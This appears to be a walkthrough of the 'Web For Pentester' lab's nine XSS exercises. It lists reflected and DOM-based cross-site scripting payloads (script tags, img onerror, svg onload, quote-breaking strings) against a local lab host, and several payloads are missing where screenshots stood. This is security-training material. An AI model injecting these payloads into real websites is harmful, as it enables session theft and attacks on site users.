XSS - Web For Pentester
XSS - Web For Pentester
Example 1:
URL: http://192.168.1.3/xss/example1.php?name=hacker
Alert:
URL: http://192.168.1.3/xss/example1.php?name=<script>alert(1)</script>
XSS 1
Getting the domian:
No cookies are used in the application so as a poc we will exfiltrate the document.domain :
Payload:
XSS 2
Example 2:
URL: http://192.168.1.3/xss/example2.php?name=hacker
HTML Injection:
URL: http://192.168.1.3/xss/example2.php?name=<b>alert(1)</b>
XSS 3
Alert:
Payload:
<SCRIPT>alert(1)</SCRIPT>
URL: http://192.168.1.3/xss/example2.php?name=<SCRIPT>alert(1)</SCRIPT>
No cookies are used in the application so as a poc we will exfiltrate the document.domain :
Payload:
XSS 4
<img src=AAAAAAAAA onerror=alert(document.domain) />
Example 3:
URL: http://192.168.1.3/xss/example3.php?name=hacker
XSS 5
HTML Injection:
URL: http://192.168.1.3/xss/example3.php?name=<b>alert(1)</b>
Alert:
Payload:
XSS 6
Getting the Domain:
Payload:
XSS 7
Example 4:
URL: http://192.168.1.3/xss/example4.php?name=hacker
XSS 8
Payload:
<svg/onload=alert('1')>
XSS 9
Example 5:
URL: http://192.168.1.3/xss/example5.php?name=hacker
XSS 10
We will use script tags and an alert alternative.
Payload:
window.confirm('xss')
URL: http://192.168.1.3/xss/example5.php?name=<script>window.confirm('xss')
</script>
XSS 11
Example 6:
URL: http://192.168.1.3/xss/example6.php?name=hacker
XSS 12
XSS 13
Payload:
</script><script>alert(1)</script>
Example 7:
XSS 14
URL: http://192.168.1.3/xss/example7.php?name=hacker
Payload1:
http://192.168.1.3/xss/example7.php?name=';alert(1)
XSS 15
Payload2:
http://192.168.1.3/xss/example7.php?name=';alert(1)'
Payload3:
XSS 16
http://192.168.1.3/xss/example7.php?name=%27;alert(1);%27
Example 8:
URL: http://192.168.1.3/xss/example8.php
XSS 17
XSS 18
After some trial and error I ended up on ‘reflecting’ the payload
Payload:
"/><script>alert(1)</script>
in the URL.
XSS 19
Example 9:
URL: http://192.168.1.3/xss/example9.php#hacker
XSS 20
We have to perform a DOM-Based XSS.
XSS 21
XSS 22